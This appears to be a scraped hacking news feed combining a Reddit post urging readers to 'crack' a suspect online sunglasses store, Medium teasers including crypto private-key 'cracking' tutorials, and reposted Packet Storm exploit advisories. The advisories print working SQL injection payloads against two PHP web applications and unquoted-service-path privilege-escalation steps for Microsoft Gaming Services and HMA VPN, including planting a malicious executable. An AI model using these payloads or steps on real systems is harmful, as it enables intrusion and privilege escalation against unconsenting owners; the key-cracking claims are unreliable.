hacking: security in practice
Challenge of the Day #01 > Elusive & Fresh: Nashoba Financial Planning - 'Sunglass/Eyewear Wholesaler'

Let us begin with the url. First thing I noticed was their bizarre name for a 'Sunglass online retail store.' However, as many of you ponder...the url may have legacy & they continued with it as it wouldn't mean much;(aside from poor market reach) for Nashoba to sling a massive inventory of a few select brands. I came across this site seeking out a pair of Costa Jose sunglasses. Full blown MSRP, with the glass lenses at brick & motar; ~$230-290. Selling here for ~$65. Other similar Jose variations even less. I've never seen such a repository of shades. Now, I personally did my due diligence trying to vet this company/site. I did not find anything negative or detrimental.But also, nothing at all really. The site is compelling. They require you to make an account. I did so with an offshore, Swiss account. Cannot log in, nor recover password through the standard method. The About info on the company: https://www.nashobafinancialplanning.com/about-us/ Very professionally done website, extremely detailed and providing a clear mission statement as well as disclaimers for the consumer not to be confused with impersonators claiming to be affected with this Florida based company. So, I tried to order the Costa Jose shades. Just sort of a failure in the checkout & payment stage. I called the number listed and it was just once initially answered from a seemingly groggy, older gentleman who seemed to be a chain smoker of downtown brown smokes. He hung up rapidly. I repeatedly called & lrf5 one voicemail. I'm quite resourceful; however not getting anywhere. This is definitely a solid challenge I'd love to investigate with others. Those dialed in know they we work together in a loosely knit network of non Dbags. Respond for any other further information or data you need. Let's Crack this One! It's Fresh.

Peace Brother's & Sisters, cittizin

submitted by /u/cittizin4
[link] [comments]

XSS in hidden input field

Hello again! I’m faizan and today I’m writing about an XSS I found in an input field which was hidden from the page using Content division…Continue reading on Medium »
Read more...

Hacking on Medium
Ethereum Private Key And Address Wallet Crack, Generator With Python

One of the most insecure platforms available in the Atrium blockchain is that as I will show you in this tutorial, you will easily see how…

Continue reading on Medium »

Hacking on Medium
Ethical hacking

https://cdn-images-1.medium.com/max/2600/1*xGMde9uuUeHNIRShrkBRSA.jpeg
An authorized attempt to gain unauthorized access to a computer system, application, or data

Continue reading on Medium »

Hacking on Medium
How To Crack Private Key TRON With Python (Random+Check)

https://cdn-images-1.medium.com/max/1014/1*qlicOr0CvvUAI0qpe6lNfA.jpeg
One of the most baseless and baseless networks in the world of cryptocurrency is the TRON (TRX) platform, which itself uses a series of…

Continue reading on Medium »

Hacking on Medium
101 Beginner facts on Web Pentesting

https://cdn-images-1.medium.com/max/820/1*xY6z0rBO9Um6zYEj2HdCEQ.jpeg
Web Application Penetration Testing is done by simulating unauthorized attacks internally or externally to gain access to sensitive data.

Continue reading on Medium »

Hacking on Medium
Clave maestra para Hive Ransomware recuperada usando una falla en su algoritmo de cifrado

https://cdn-images-1.medium.com/max/1523/0*m5h2UOq1mJfgMEea
PUBLICADO EN 21 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

What an injection into jQuery-selector can lead to
https://medium.com/@skavans_/what-an-injection-into-jquery-selector-can-lead-to-1fcaabfd51e5?source=rss------bug_bounty-5

​I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly).Continue reading on Medium » (https://medium.com/@skavans_/what-an-injection-into-jquery-selector-can-lead-to-1fcaabfd51e5?source=rss------bug_bounty-5)

What an injection into jQuery-selector can lead to

​I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly).Continue reading on Medium »
Read more...

Exploit Collector
Cab Management System 1.0 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cab Management System 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Cab Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | a1808d21a9c748024812336fa823c23f

Download
# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
#
# Authenticate and get update client settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########

========>>> REQUEST

GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Gaming Services 2.52.13001.0 Unquoted Service Path

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Microsoft Gaming Services version 2.52.13001.0 suffers from an unquoted service path vulnerability.

MD5 | fd3686589e68fa850eb079be7e829f6b

Download
# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path
# Discovery by: Johto Robbie
# Discovery Date: May 12, 2021
# Tested Version: 2.52.13001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 Home

# Step to discover Unquoted Service Path:

Go to Start and type cmd. Enter the following command and press Enter:

C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

Gaming Services
GamingServices C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
Auto

Gaming Services
GamingServicesNet C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
Auto

C:\Users\Bang's>sc qc "GamingServices"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GamingServices

TYPE : 210 WIN32_PACKAGED_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 0 IGNORE

BINARY_PATH_NAME : C:\Program
Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Gaming Services

DEPENDENCIES : staterepository

SERVICE_START_NAME : LocalSystem

This application have no quote . And it contained in C:\Program Files. Put
mot malicious aplication with name "progarm.exe"

Stop & Start: GamingServices. "progarm.exe" will be execute

#Exploit:

An unquoted service path in
Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to
privilege escalation during the installation process that is performed when
an executable file is registered. This could further lead to complete
compromise of confidentiality, Integrity and Availability.

#Timeline
May 12, 2021 - Reported to Microsoft
Feb 11, 2022 - Confirmed vulnerability has been fixed

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
HMA VPN 5.3 Unquoted Service Path

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
HMA VPN version 5.3 suffers from an unquoted service path vulnerability.

MD5 | da5d5f503180638006e5f6fa9de027ae

Download
# Exploit Title: HMA VPN 5.3 - Unquoted Service Path
# Date: 18/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.hidemyass.com/
# Software Link: https://www.hidemyass.com/en-us/downloads
# Version: 5.3.5913.0
# Tested: Windows 10 Pro x64 es
C:\Users\saudh>sc qc HmaProVpn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HmaProVpn
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Privax\HMA VPN\VpnSvc.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HMA VPN
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Auto Spare Parts Management 1.0 SQL Injection

https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Auto Spare Parts Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 4b39f3991fe69b8ce93d5ad92150f7ce

Download
## Title: Auto-Spare-Parts-Management v1.0 remote SQL-Injections
## Author: nu11secur1ty
## Date: 02.19.2022
## Vendor: https://github.com/pavanpatil45
## Software: https://github.com/pavanpatil45/Auto-Spare-Parts-Management
## Description:
The Referer HTTP header on Auto-Spare-Parts-Management v1.0 system
appears to be vulnerable to SQL injection attacks, parameter `user`.
The payload ' was submitted in the Referer HTTP header, and a database
error message was returned.
The attacker from outside can take control of all accounts of this
system by using this vulnerability!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: user (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=admin1' AND 5432=5432 AND
'MXPx'='MXPx&password=admin1&btnlogin=

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: user=admin1' AND (SELECT 8861 FROM(SELECT
COUNT(*),CONCAT(0x71786b6271,(SELECT
(ELT(8861=8861,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'aOSP'='aOSP&password=admin1&btnlogin=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=admin1' AND (SELECT 1749 FROM
(SELECT(SLEEP(3)))XjEM) AND 'xoHI'='xoHI&password=admin1&btnlogin=
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/pavanpatil45/Auto-Spare-Parts-Management)

## Proof and Exploit:
[href](https://streamable.com/qq19po)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video